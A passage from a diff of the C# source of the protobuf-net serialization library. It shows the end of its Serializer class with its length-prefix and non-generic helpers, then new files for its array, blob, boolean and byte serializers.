|
||||
public static void Merge<T>(System.Runtime.Serialization.SerializationInfo info, System.Runtime.Serialization.StreamingContext context, T instance) where T : class, System.Runtime.Serialization.ISerializable
|
||||
{
|
||||
// note: also tried byte[]... it doesn't perform hugely well with either (compared to regular serialization)
|
||||
if (info == null) throw new ArgumentNullException("info");
|
||||
if (instance == null) throw new ArgumentNullException("instance");
|
||||
if (instance.GetType() != typeof(T)) throw new ArgumentException("Incorrect type", "instance");
|
||||
|
||||
byte[] buffer = (byte[])info.GetValue(ProtoBinaryField, typeof(byte[]));
|
||||
using (MemoryStream ms = new MemoryStream(buffer))
|
||||
{
|
||||
T result = (T)RuntimeTypeModel.Default.Deserialize(ms, instance, typeof(T), context);
|
||||
if (!ReferenceEquals(result, instance))
|
||||
{
|
||||
throw new ProtoException("Deserialization changed the instance; cannot succeed.");
|
||||
}
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
#if !NO_GENERICS
|
||||
/// <summary>
|
||||
/// Precompiles the serializer for a given type.
|
||||
/// </summary>
|
||||
public static void PrepareSerializer<T>()
|
||||
{
|
||||
#if FEAT_COMPILER
|
||||
RuntimeTypeModel model = RuntimeTypeModel.Default;
|
||||
model[model.MapType(typeof(T))].CompileInPlace();
|
||||
#endif
|
||||
}
|
||||
|
||||
#if PLAT_BINARYFORMATTER && !(WINRT || PHONE8)
|
||||
/// <summary>
|
||||
/// Creates a new IFormatter that uses protocol-buffer [de]serialization.
|
||||
/// </summary>
|
||||
/// <typeparam name="T">The type of object to be [de]deserialized by the formatter.</typeparam>
|
||||
/// <returns>A new IFormatter to be used during [de]serialization.</returns>
|
||||
public static System.Runtime.Serialization.IFormatter CreateFormatter<T>()
|
||||
{
|
||||
#if FEAT_IKVM
|
||||
throw new NotSupportedException();
|
||||
#else
|
||||
return RuntimeTypeModel.Default.CreateFormatter(typeof(T));
|
||||
#endif
|
||||
}
|
||||
#endif
|
||||
/// <summary>
|
||||
/// Reads a sequence of consecutive length-prefixed items from a stream, using
|
||||
/// either base-128 or fixed-length prefixes. Base-128 prefixes with a tag
|
||||
/// are directly comparable to serializing multiple items in succession
|
||||
/// (use the <see cref="ListItemTag"/> tag to emulate the implicit behavior
|
||||
/// when serializing a list/array). When a tag is
|
||||
/// specified, any records with different tags are silently omitted. The
|
||||
/// tag is ignored. The tag is ignores for fixed-length prefixes.
|
||||
/// </summary>
|
||||
/// <typeparam name="T">The type of object to deserialize.</typeparam>
|
||||
/// <param name="source">The binary stream containing the serialized records.</param>
|
||||
/// <param name="style">The prefix style used in the data.</param>
|
||||
/// <param name="fieldNumber">The tag of records to return (if non-positive, then no tag is
|
||||
/// expected and all records are returned).</param>
|
||||
/// <returns>The sequence of deserialized objects.</returns>
|
||||
public static IEnumerable<T> DeserializeItems<T>(Stream source, PrefixStyle style, int fieldNumber)
|
||||
{
|
||||
return RuntimeTypeModel.Default.DeserializeItems<T>(source, style, fieldNumber);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Creates a new instance from a protocol-buffer stream that has a length-prefix
|
||||
/// on data (to assist with network IO).
|
||||
/// </summary>
|
||||
/// <typeparam name="T">The type to be created.</typeparam>
|
||||
/// <param name="source">The binary stream to apply to the new instance (cannot be null).</param>
|
||||
/// <param name="style">How to encode the length prefix.</param>
|
||||
/// <returns>A new, initialized instance.</returns>
|
||||
public static T DeserializeWithLengthPrefix<T>(Stream source, PrefixStyle style)
|
||||
{
|
||||
return DeserializeWithLengthPrefix<T>(source, style, 0);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Creates a new instance from a protocol-buffer stream that has a length-prefix
|
||||
/// on data (to assist with network IO).
|
||||
/// </summary>
|
||||
/// <typeparam name="T">The type to be created.</typeparam>
|
||||
/// <param name="source">The binary stream to apply to the new instance (cannot be null).</param>
|
||||
/// <param name="style">How to encode the length prefix.</param>
|
||||
/// <param name="fieldNumber">The expected tag of the item (only used with base-128 prefix style).</param>
|
||||
/// <returns>A new, initialized instance.</returns>
|
||||
public static T DeserializeWithLengthPrefix<T>(Stream source, PrefixStyle style, int fieldNumber)
|
||||
{
|
||||
RuntimeTypeModel model = RuntimeTypeModel.Default;
|
||||
return (T)model.DeserializeWithLengthPrefix(source, null, model.MapType(typeof(T)), style, fieldNumber);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Applies a protocol-buffer stream to an existing instance, using length-prefixed
|
||||
/// data - useful with network IO.
|
||||
/// </summary>
|
||||
/// <typeparam name="T">The type being merged.</typeparam>
|
||||
/// <param name="instance">The existing instance to be modified (can be null).</param>
|
||||
/// <param name="source">The binary stream to apply to the instance (cannot be null).</param>
|
||||
/// <param name="style">How to encode the length prefix.</param>
|
||||
/// <returns>The updated instance; this may be different to the instance argument if
|
||||
/// either the original instance was null, or the stream defines a known sub-type of the
|
||||
/// original instance.</returns>
|
||||
public static T MergeWithLengthPrefix<T>(Stream source, T instance, PrefixStyle style)
|
||||
{
|
||||
RuntimeTypeModel model = RuntimeTypeModel.Default;
|
||||
return (T)model.DeserializeWithLengthPrefix(source, instance, model.MapType(typeof(T)), style, 0);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Writes a protocol-buffer representation of the given instance to the supplied stream,
|
||||
/// with a length-prefix. This is useful for socket programming,
|
||||
/// as DeserializeWithLengthPrefix/MergeWithLengthPrefix can be used to read the single object back
|
||||
/// from an ongoing stream.
|
||||
/// </summary>
|
||||
/// <typeparam name="T">The type being serialized.</typeparam>
|
||||
/// <param name="instance">The existing instance to be serialized (cannot be null).</param>
|
||||
/// <param name="style">How to encode the length prefix.</param>
|
||||
/// <param name="destination">The destination stream to write to.</param>
|
||||
public static void SerializeWithLengthPrefix<T>(Stream destination, T instance, PrefixStyle style)
|
||||
{
|
||||
SerializeWithLengthPrefix<T>(destination, instance, style, 0);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Writes a protocol-buffer representation of the given instance to the supplied stream,
|
||||
/// with a length-prefix. This is useful for socket programming,
|
||||
/// as DeserializeWithLengthPrefix/MergeWithLengthPrefix can be used to read the single object back
|
||||
/// from an ongoing stream.
|
||||
/// </summary>
|
||||
/// <typeparam name="T">The type being serialized.</typeparam>
|
||||
/// <param name="instance">The existing instance to be serialized (cannot be null).</param>
|
||||
/// <param name="style">How to encode the length prefix.</param>
|
||||
/// <param name="destination">The destination stream to write to.</param>
|
||||
/// <param name="fieldNumber">The tag used as a prefix to each record (only used with base-128 style prefixes).</param>
|
||||
public static void SerializeWithLengthPrefix<T>(Stream destination, T instance, PrefixStyle style, int fieldNumber)
|
||||
{
|
||||
RuntimeTypeModel model = RuntimeTypeModel.Default;
|
||||
model.SerializeWithLengthPrefix(destination, instance, model.MapType(typeof(T)), style, fieldNumber);
|
||||
}
|
||||
#endif
|
||||
/// <summary>Indicates the number of bytes expected for the next message.</summary>
|
||||
/// <param name="source">The stream containing the data to investigate for a length.</param>
|
||||
/// <param name="style">The algorithm used to encode the length.</param>
|
||||
/// <param name="length">The length of the message, if it could be identified.</param>
|
||||
/// <returns>True if a length could be obtained, false otherwise.</returns>
|
||||
public static bool TryReadLengthPrefix(Stream source, PrefixStyle style, out int length)
|
||||
{
|
||||
int fieldNumber, bytesRead;
|
||||
length = ProtoReader.ReadLengthPrefix(source, false, style, out fieldNumber, out bytesRead);
|
||||
return bytesRead > 0;
|
||||
}
|
||||
|
||||
/// <summary>Indicates the number of bytes expected for the next message.</summary>
|
||||
/// <param name="buffer">The buffer containing the data to investigate for a length.</param>
|
||||
/// <param name="index">The offset of the first byte to read from the buffer.</param>
|
||||
/// <param name="count">The number of bytes to read from the buffer.</param>
|
||||
/// <param name="style">The algorithm used to encode the length.</param>
|
||||
/// <param name="length">The length of the message, if it could be identified.</param>
|
||||
/// <returns>True if a length could be obtained, false otherwise.</returns>
|
||||
public static bool TryReadLengthPrefix(byte[] buffer, int index, int count, PrefixStyle style, out int length)
|
||||
{
|
||||
using (Stream source = new MemoryStream(buffer, index, count))
|
||||
{
|
||||
return TryReadLengthPrefix(source, style, out length);
|
||||
}
|
||||
}
|
||||
#endif
|
||||
/// <summary>
|
||||
/// The field number that is used as a default when serializing/deserializing a list of objects.
|
||||
/// The data is treated as repeated message with field number 1.
|
||||
/// </summary>
|
||||
public const int ListItemTag = 1;
|
||||
|
||||
|
||||
|
||||
#if !NO_RUNTIME
|
||||
/// <summary>
|
||||
/// Provides non-generic access to the default serializer.
|
||||
/// </summary>
|
||||
public
|
||||
#if FX11
|
||||
sealed
|
||||
#else
|
||||
static
|
||||
#endif
|
||||
class NonGeneric
|
||||
{
|
||||
#if FX11
|
||||
private NonGeneric() { } // not a static class for C# 1.2 reasons
|
||||
#endif
|
||||
/// <summary>
|
||||
/// Create a deep clone of the supplied instance; any sub-items are also cloned.
|
||||
/// </summary>
|
||||
public static object DeepClone(object instance)
|
||||
{
|
||||
return instance == null ? null : RuntimeTypeModel.Default.DeepClone(instance);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Writes a protocol-buffer representation of the given instance to the supplied stream.
|
||||
/// </summary>
|
||||
/// <param name="instance">The existing instance to be serialized (cannot be null).</param>
|
||||
/// <param name="dest">The destination stream to write to.</param>
|
||||
public static void Serialize(Stream dest, object instance)
|
||||
{
|
||||
if (instance != null)
|
||||
{
|
||||
RuntimeTypeModel.Default.Serialize(dest, instance);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Creates a new instance from a protocol-buffer stream
|
||||
/// </summary>
|
||||
/// <param name="type">The type to be created.</param>
|
||||
/// <param name="source">The binary stream to apply to the new instance (cannot be null).</param>
|
||||
/// <returns>A new, initialized instance.</returns>
|
||||
public static object Deserialize(System.Type type, Stream source)
|
||||
{
|
||||
return RuntimeTypeModel.Default.Deserialize(source, null, type);
|
||||
}
|
||||
|
||||
/// <summary>Applies a protocol-buffer stream to an existing instance.</summary>
|
||||
/// <param name="instance">The existing instance to be modified (cannot be null).</param>
|
||||
/// <param name="source">The binary stream to apply to the instance (cannot be null).</param>
|
||||
/// <returns>The updated instance</returns>
|
||||
public static object Merge(Stream source, object instance)
|
||||
{
|
||||
if (instance == null) throw new ArgumentNullException("instance");
|
||||
return RuntimeTypeModel.Default.Deserialize(source, instance, instance.GetType(), null);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Writes a protocol-buffer representation of the given instance to the supplied stream,
|
||||
/// with a length-prefix. This is useful for socket programming,
|
||||
/// as DeserializeWithLengthPrefix/MergeWithLengthPrefix can be used to read the single object back
|
||||
/// from an ongoing stream.
|
||||
/// </summary>
|
||||
/// <param name="instance">The existing instance to be serialized (cannot be null).</param>
|
||||
/// <param name="style">How to encode the length prefix.</param>
|
||||
/// <param name="destination">The destination stream to write to.</param>
|
||||
/// <param name="fieldNumber">The tag used as a prefix to each record (only used with base-128 style prefixes).</param>
|
||||
public static void SerializeWithLengthPrefix(Stream destination, object instance, PrefixStyle style, int fieldNumber)
|
||||
{
|
||||
RuntimeTypeModel model = RuntimeTypeModel.Default;
|
||||
model.SerializeWithLengthPrefix(destination, instance, model.MapType(instance.GetType()), style, fieldNumber);
|
||||
}
|
||||
/// <summary>
|
||||
/// Applies a protocol-buffer stream to an existing instance (or null), using length-prefixed
|
||||
/// data - useful with network IO.
|
||||
/// </summary>
|
||||
/// <param name="value">The existing instance to be modified (can be null).</param>
|
||||
/// <param name="source">The binary stream to apply to the instance (cannot be null).</param>
|
||||
/// <param name="style">How to encode the length prefix.</param>
|
||||
/// <param name="resolver">Used to resolve types on a per-field basis.</param>
|
||||
/// <returns>The updated instance; this may be different to the instance argument if
|
||||
/// either the original instance was null, or the stream defines a known sub-type of the
|
||||
/// original instance.</returns>
|
||||
public static bool TryDeserializeWithLengthPrefix(Stream source, PrefixStyle style, TypeResolver resolver, out object value)
|
||||
{
|
||||
value = RuntimeTypeModel.Default.DeserializeWithLengthPrefix(source, null, null, style, 0, resolver);
|
||||
return value != null;
|
||||
}
|
||||
/// <summary>
|
||||
/// Indicates whether the supplied type is explicitly modelled by the model
|
||||
/// </summary>
|
||||
public static bool CanSerialize(Type type)
|
||||
{
|
||||
return RuntimeTypeModel.Default.IsDefined(type);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
/// <summary>
|
||||
/// Global switches that change the behavior of protobuf-net
|
||||
/// </summary>
|
||||
public
|
||||
#if FX11
|
||||
sealed
|
||||
#else
|
||||
static
|
||||
#endif
|
||||
class GlobalOptions
|
||||
{
|
||||
#if FX11
|
||||
private GlobalOptions() { } // not a static class for C# 1.2 reasons
|
||||
#endif
|
||||
/// <summary>
|
||||
/// <see cref="RuntimeTypeModel.InferTagFromNameDefault"/>
|
||||
/// </summary>
|
||||
[Obsolete("Please use RuntimeTypeModel.Default.InferTagFromNameDefault instead (or on a per-model basis)", false)]
|
||||
public static bool InferTagFromName
|
||||
{
|
||||
get { return RuntimeTypeModel.Default.InferTagFromNameDefault; }
|
||||
set { RuntimeTypeModel.Default.InferTagFromNameDefault = value; }
|
||||
}
|
||||
}
|
||||
#endif
|
||||
/// <summary>
|
||||
/// Maps a field-number to a type
|
||||
/// </summary>
|
||||
public delegate Type TypeResolver(int fieldNumber);
|
||||
|
||||
/// <summary>
|
||||
/// Releases any internal buffers that have been reserved for efficiency; this does not affect any serialization
|
||||
/// operations; simply: it can be used (optionally) to release the buffers for garbage collection (at the expense
|
||||
/// of having to re-allocate a new buffer for the next operation, rather than re-use prior buffers).
|
||||
/// </summary>
|
||||
public static void FlushPool()
|
||||
{
|
||||
BufferPool.Flush();
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,270 @@
|
|||
#if !NO_RUNTIME
|
||||
using System;
|
||||
using System.Collections;
|
||||
using ProtoBuf.Meta;
|
||||
|
||||
#if FEAT_IKVM
|
||||
using Type = IKVM.Reflection.Type;
|
||||
using IKVM.Reflection;
|
||||
#else
|
||||
using System.Reflection;
|
||||
#endif
|
||||
|
||||
namespace ProtoBuf.Serializers
|
||||
{
|
||||
sealed class ArrayDecorator : ProtoDecoratorBase
|
||||
{
|
||||
|
||||
private readonly int fieldNumber;
|
||||
private const byte
|
||||
OPTIONS_WritePacked = 1,
|
||||
OPTIONS_OverwriteList = 2,
|
||||
OPTIONS_SupportNull = 4;
|
||||
private readonly byte options;
|
||||
private readonly WireType packedWireType;
|
||||
public ArrayDecorator(TypeModel model, IProtoSerializer tail, int fieldNumber, bool writePacked, WireType packedWireType, Type arrayType, bool overwriteList, bool supportNull)
|
||||
: base(tail)
|
||||
{
|
||||
Helpers.DebugAssert(arrayType != null, "arrayType should be non-null");
|
||||
Helpers.DebugAssert(arrayType.IsArray && arrayType.GetArrayRank() == 1, "should be single-dimension array; " + arrayType.FullName);
|
||||
this.itemType = arrayType.GetElementType();
|
||||
#if NO_GENERICS
|
||||
Type underlyingItemType = itemType;
|
||||
#else
|
||||
Type underlyingItemType = supportNull ? itemType : (Helpers.GetUnderlyingType(itemType) ?? itemType);
|
||||
#endif
|
||||
|
||||
Helpers.DebugAssert(underlyingItemType == Tail.ExpectedType, "invalid tail");
|
||||
Helpers.DebugAssert(Tail.ExpectedType != model.MapType(typeof(byte)), "Should have used BlobSerializer");
|
||||
if ((writePacked || packedWireType != WireType.None) && fieldNumber <= 0) throw new ArgumentOutOfRangeException("fieldNumber");
|
||||
if (!ListDecorator.CanPack(packedWireType))
|
||||
{
|
||||
if (writePacked) throw new InvalidOperationException("Only simple data-types can use packed encoding");
|
||||
packedWireType = WireType.None;
|
||||
}
|
||||
this.fieldNumber = fieldNumber;
|
||||
this.packedWireType = packedWireType;
|
||||
if (writePacked) options |= OPTIONS_WritePacked;
|
||||
if (overwriteList) options |= OPTIONS_OverwriteList;
|
||||
if (supportNull) options |= OPTIONS_SupportNull;
|
||||
this.arrayType = arrayType;
|
||||
}
|
||||
readonly Type arrayType, itemType; // this is, for example, typeof(int[])
|
||||
public override Type ExpectedType { get { return arrayType; } }
|
||||
public override bool RequiresOldValue { get { return AppendToCollection; } }
|
||||
public override bool ReturnsValue { get { return true; } }
|
||||
#if FEAT_COMPILER
|
||||
protected override void EmitWrite(ProtoBuf.Compiler.CompilerContext ctx, ProtoBuf.Compiler.Local valueFrom)
|
||||
{
|
||||
// int i and T[] arr
|
||||
using (Compiler.Local arr = ctx.GetLocalWithValue(arrayType, valueFrom))
|
||||
using (Compiler.Local i = new ProtoBuf.Compiler.Local(ctx, ctx.MapType(typeof(int))))
|
||||
{
|
||||
bool writePacked = (options & OPTIONS_WritePacked) != 0;
|
||||
using (Compiler.Local token = writePacked ? new Compiler.Local(ctx, ctx.MapType(typeof(SubItemToken))) : null)
|
||||
{
|
||||
Type mappedWriter = ctx.MapType(typeof (ProtoWriter));
|
||||
if (writePacked)
|
||||
{
|
||||
ctx.LoadValue(fieldNumber);
|
||||
ctx.LoadValue((int)WireType.String);
|
||||
ctx.LoadReaderWriter();
|
||||
ctx.EmitCall(mappedWriter.GetMethod("WriteFieldHeader"));
|
||||
|
||||
ctx.LoadValue(arr);
|
||||
ctx.LoadReaderWriter();
|
||||
ctx.EmitCall(mappedWriter.GetMethod("StartSubItem"));
|
||||
ctx.StoreValue(token);
|
||||
|
||||
ctx.LoadValue(fieldNumber);
|
||||
ctx.LoadReaderWriter();
|
||||
ctx.EmitCall(mappedWriter.GetMethod("SetPackedField"));
|
||||
}
|
||||
EmitWriteArrayLoop(ctx, i, arr);
|
||||
|
||||
if (writePacked)
|
||||
{
|
||||
ctx.LoadValue(token);
|
||||
ctx.LoadReaderWriter();
|
||||
ctx.EmitCall(mappedWriter.GetMethod("EndSubItem"));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void EmitWriteArrayLoop(Compiler.CompilerContext ctx, Compiler.Local i, Compiler.Local arr)
|
||||
{
|
||||
// i = 0
|
||||
ctx.LoadValue(0);
|
||||
ctx.StoreValue(i);
|
||||
|
||||
// range test is last (to minimise branches)
|
||||
Compiler.CodeLabel loopTest = ctx.DefineLabel(), processItem = ctx.DefineLabel();
|
||||
ctx.Branch(loopTest, false);
|
||||
ctx.MarkLabel(processItem);
|
||||
|
||||
// {...}
|
||||
ctx.LoadArrayValue(arr, i);
|
||||
if (SupportNull)
|
||||
{
|
||||
Tail.EmitWrite(ctx, null);
|
||||
}
|
||||
else
|
||||
{
|
||||
ctx.WriteNullCheckedTail(itemType, Tail, null);
|
||||
}
|
||||
|
||||
// i++
|
||||
ctx.LoadValue(i);
|
||||
ctx.LoadValue(1);
|
||||
ctx.Add();
|
||||
ctx.StoreValue(i);
|
||||
|
||||
// i < arr.Length
|
||||
ctx.MarkLabel(loopTest);
|
||||
ctx.LoadValue(i);
|
||||
ctx.LoadLength(arr, false);
|
||||
ctx.BranchIfLess(processItem, false);
|
||||
}
|
||||
#endif
|
||||
private bool AppendToCollection
|
||||
{
|
||||
get { return (options & OPTIONS_OverwriteList) == 0; }
|
||||
}
|
||||
private bool SupportNull { get { return (options & OPTIONS_SupportNull) != 0; } }
|
||||
|
||||
#if !FEAT_IKVM
|
||||
public override void Write(object value, ProtoWriter dest)
|
||||
{
|
||||
IList arr = (IList)value;
|
||||
int len = arr.Count;
|
||||
SubItemToken token;
|
||||
bool writePacked = (options & OPTIONS_WritePacked) != 0;
|
||||
if (writePacked)
|
||||
{
|
||||
ProtoWriter.WriteFieldHeader(fieldNumber, WireType.String, dest);
|
||||
token = ProtoWriter.StartSubItem(value, dest);
|
||||
ProtoWriter.SetPackedField(fieldNumber, dest);
|
||||
}
|
||||
else
|
||||
{
|
||||
token = new SubItemToken(); // default
|
||||
}
|
||||
bool checkForNull = !SupportNull;
|
||||
for (int i = 0; i < len; i++)
|
||||
{
|
||||
object obj = arr[i];
|
||||
if (checkForNull && obj == null) { throw new NullReferenceException(); }
|
||||
Tail.Write(obj, dest);
|
||||
}
|
||||
if (writePacked)
|
||||
{
|
||||
ProtoWriter.EndSubItem(token, dest);
|
||||
}
|
||||
}
|
||||
public override object Read(object value, ProtoReader source)
|
||||
{
|
||||
int field = source.FieldNumber;
|
||||
BasicList list = new BasicList();
|
||||
if (packedWireType != WireType.None && source.WireType == WireType.String)
|
||||
{
|
||||
SubItemToken token = ProtoReader.StartSubItem(source);
|
||||
while (ProtoReader.HasSubValue(packedWireType, source))
|
||||
{
|
||||
list.Add(Tail.Read(null, source));
|
||||
}
|
||||
ProtoReader.EndSubItem(token, source);
|
||||
}
|
||||
else
|
||||
{
|
||||
do
|
||||
{
|
||||
list.Add(Tail.Read(null, source));
|
||||
} while (source.TryReadFieldHeader(field));
|
||||
}
|
||||
int oldLen = AppendToCollection ? ((value == null ? 0 : ((Array)value).Length)) : 0;
|
||||
Array result = Array.CreateInstance(itemType, oldLen + list.Count);
|
||||
if (oldLen != 0) ((Array)value).CopyTo(result, 0);
|
||||
list.CopyTo(result, oldLen);
|
||||
return result;
|
||||
}
|
||||
#endif
|
||||
|
||||
#if FEAT_COMPILER
|
||||
protected override void EmitRead(ProtoBuf.Compiler.CompilerContext ctx, ProtoBuf.Compiler.Local valueFrom)
|
||||
{
|
||||
Type listType;
|
||||
#if NO_GENERICS
|
||||
listType = typeof(BasicList);
|
||||
#else
|
||||
listType = ctx.MapType(typeof(System.Collections.Generic.List<>)).MakeGenericType(itemType);
|
||||
#endif
|
||||
using (Compiler.Local oldArr = AppendToCollection ? ctx.GetLocalWithValue(ExpectedType, valueFrom) : null)
|
||||
using (Compiler.Local newArr = new Compiler.Local(ctx, ExpectedType))
|
||||
using (Compiler.Local list = new Compiler.Local(ctx, listType))
|
||||
{
|
||||
ctx.EmitCtor(listType);
|
||||
ctx.StoreValue(list);
|
||||
ListDecorator.EmitReadList(ctx, list, Tail, listType.GetMethod("Add"), packedWireType, false);
|
||||
|
||||
// leave this "using" here, as it can share the "FieldNumber" local with EmitReadList
|
||||
using(Compiler.Local oldLen = AppendToCollection ? new ProtoBuf.Compiler.Local(ctx, ctx.MapType(typeof(int))) : null) {
|
||||
Type[] copyToArrayInt32Args = new Type[] { ctx.MapType(typeof(Array)), ctx.MapType(typeof(int)) };
|
||||
|
||||
if (AppendToCollection)
|
||||
{
|
||||
ctx.LoadLength(oldArr, true);
|
||||
ctx.CopyValue();
|
||||
ctx.StoreValue(oldLen);
|
||||
|
||||
ctx.LoadAddress(list, listType);
|
||||
ctx.LoadValue(listType.GetProperty("Count"));
|
||||
ctx.Add();
|
||||
ctx.CreateArray(itemType, null); // length is on the stack
|
||||
ctx.StoreValue(newArr);
|
||||
|
||||
ctx.LoadValue(oldLen);
|
||||
Compiler.CodeLabel nothingToCopy = ctx.DefineLabel();
|
||||
ctx.BranchIfFalse(nothingToCopy, true);
|
||||
ctx.LoadValue(oldArr);
|
||||
ctx.LoadValue(newArr);
|
||||
ctx.LoadValue(0); // index in target
|
||||
|
||||
ctx.EmitCall(ExpectedType.GetMethod("CopyTo", copyToArrayInt32Args));
|
||||
ctx.MarkLabel(nothingToCopy);
|
||||
|
||||
ctx.LoadValue(list);
|
||||
ctx.LoadValue(newArr);
|
||||
ctx.LoadValue(oldLen);
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
ctx.LoadAddress(list, listType);
|
||||
ctx.LoadValue(listType.GetProperty("Count"));
|
||||
ctx.CreateArray(itemType, null);
|
||||
ctx.StoreValue(newArr);
|
||||
|
||||
ctx.LoadAddress(list, listType);
|
||||
ctx.LoadValue(newArr);
|
||||
ctx.LoadValue(0);
|
||||
}
|
||||
|
||||
copyToArrayInt32Args[0] = ExpectedType; // // prefer: CopyTo(T[], int)
|
||||
MethodInfo copyTo = listType.GetMethod("CopyTo", copyToArrayInt32Args);
|
||||
if (copyTo == null)
|
||||
{ // fallback: CopyTo(Array, int)
|
||||
copyToArrayInt32Args[1] = ctx.MapType(typeof(Array));
|
||||
copyTo = listType.GetMethod("CopyTo", copyToArrayInt32Args);
|
||||
}
|
||||
ctx.EmitCall(copyTo);
|
||||
}
|
||||
ctx.LoadValue(newArr);
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
#endif
|
||||
}
|
||||
}
|
||||
#endif
|
|
@ -0,0 +1,64 @@
|
|||
#if !NO_RUNTIME
|
||||
using System;
|
||||
#if FEAT_COMPILER
|
||||
using System.Reflection.Emit;
|
||||
#endif
|
||||
|
||||
#if FEAT_IKVM
|
||||
using Type = IKVM.Reflection.Type;
|
||||
#endif
|
||||
|
||||
|
||||
namespace ProtoBuf.Serializers
|
||||
{
|
||||
sealed class BlobSerializer : IProtoSerializer
|
||||
{
|
||||
public Type ExpectedType { get { return expectedType; } }
|
||||
|
||||
#if FEAT_IKVM
|
||||
readonly Type expectedType;
|
||||
#else
|
||||
static readonly Type expectedType = typeof(byte[]);
|
||||
#endif
|
||||
public BlobSerializer(ProtoBuf.Meta.TypeModel model, bool overwriteList)
|
||||
{
|
||||
#if FEAT_IKVM
|
||||
expectedType = model.MapType(typeof(byte[]));
|
||||
#endif
|
||||
this.overwriteList = overwriteList;
|
||||
}
|
||||
private readonly bool overwriteList;
|
||||
#if !FEAT_IKVM
|
||||
public object Read(object value, ProtoReader source)
|
||||
{
|
||||
return ProtoReader.AppendBytes(overwriteList ? null : (byte[])value, source);
|
||||
}
|
||||
public void Write(object value, ProtoWriter dest)
|
||||
{
|
||||
ProtoWriter.WriteBytes((byte[])value, dest);
|
||||
}
|
||||
#endif
|
||||
bool IProtoSerializer.RequiresOldValue { get { return !overwriteList; } }
|
||||
bool IProtoSerializer.ReturnsValue { get { return true; } }
|
||||
#if FEAT_COMPILER
|
||||
void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
|
||||
{
|
||||
ctx.EmitBasicWrite("WriteBytes", valueFrom);
|
||||
}
|
||||
void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
|
||||
{
|
||||
if (overwriteList)
|
||||
{
|
||||
ctx.LoadNullRef();
|
||||
}
|
||||
else
|
||||
{
|
||||
ctx.LoadValue(valueFrom);
|
||||
}
|
||||
ctx.LoadReaderWriter();
|
||||
ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("AppendBytes"));
|
||||
}
|
||||
#endif
|
||||
}
|
||||
}
|
||||
#endif
|
|
@ -0,0 +1,57 @@
|
|||
#if !NO_RUNTIME
|
||||
using System;
|
||||
|
||||
#if FEAT_IKVM
|
||||
using Type = IKVM.Reflection.Type;
|
||||
using IKVM.Reflection;
|
||||
#else
|
||||
using System.Reflection;
|
||||
#endif
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
namespace ProtoBuf.Serializers
|
||||
{
|
||||
sealed class BooleanSerializer : IProtoSerializer
|
||||
{
|
||||
#if FEAT_IKVM
|
||||
readonly Type expectedType;
|
||||
#else
|
||||
static readonly Type expectedType = typeof(bool);
|
||||
#endif
|
||||
public BooleanSerializer(ProtoBuf.Meta.TypeModel model)
|
||||
{
|
||||
#if FEAT_IKVM
|
||||
expectedType = model.MapType(typeof(bool));
|
||||
#endif
|
||||
}
|
||||
public Type ExpectedType { get { return expectedType; } }
|
||||
|
||||
#if !FEAT_IKVM
|
||||
public void Write(object value, ProtoWriter dest)
|
||||
{
|
||||
ProtoWriter.WriteBoolean((bool)value, dest);
|
||||
}
|
||||
public object Read(object value, ProtoReader source)
|
||||
{
|
||||
Helpers.DebugAssert(value == null); // since replaces
|
||||
return source.ReadBoolean();
|
||||
}
|
||||
#endif
|
||||
bool IProtoSerializer.RequiresOldValue { get { return false; } }
|
||||
bool IProtoSerializer.ReturnsValue { get { return true; } }
|
||||
#if FEAT_COMPILER
|
||||
void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
|
||||
{
|
||||
ctx.EmitBasicWrite("WriteBoolean", valueFrom);
|
||||
}
|
||||
void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
|
||||
{
|
||||
ctx.EmitBasicRead("ReadBoolean", ExpectedType);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
}
|
||||
#endif
|
|
@ -0,0 +1,54 @@
|
|||
#if !NO_RUNTIME
|
||||
using System;
|
||||
|
||||
#if FEAT_IKVM
|
||||
using Type = IKVM.Reflection.Type;
|
||||
#endif
|
||||
|
||||
|
||||
|
||||
namespace ProtoBuf.Serializers
|
||||
{
|
||||
sealed class ByteSerializer : IProtoSerializer
|
||||
{
|
||||
public Type ExpectedType { get { return expectedType; } }
|
||||
|
||||
#if FEAT_IKVM
|
||||
readonly Type expectedType;
|
||||
#else
|
||||
static readonly Type expectedType = typeof(byte);
|
||||
#endif
|
||||
public ByteSerializer(ProtoBuf.Meta.TypeModel model)
|
||||
{
|
||||
#if FEAT_IKVM
|
||||
expectedType = model.MapType(typeof(byte));
|
||||
#endif
|
||||
}
|
||||
bool IProtoSerializer.RequiresOldValue { get { return false; } }
|
||||
bool IProtoSerializer.ReturnsValue { get { return true; } }
|
||||
#if !FEAT_IKVM
|
||||
public void Write(object value, ProtoWriter dest)
|
||||
{
|
||||
ProtoWriter.WriteByte((byte)value, dest);
|
||||
}
|
||||
public object Read(object value, ProtoReader source)
|
||||
{
|
||||
Helpers.DebugAssert(value == null); // since replaces
|
||||
return source.ReadByte();
|
||||
}
|
||||
#endif
|
||||
|
||||
#if FEAT_COMPILER
|
||||
void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
|
||||
{
|
||||
ctx.EmitBasicWrite("WriteByte", valueFrom);
|
||||
}
|
||||
void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
|
||||
{
|
||||
ctx.EmitBasicRead("ReadByte", ExpectedType);
|
||||
}
|
||||
#endif
|
||||
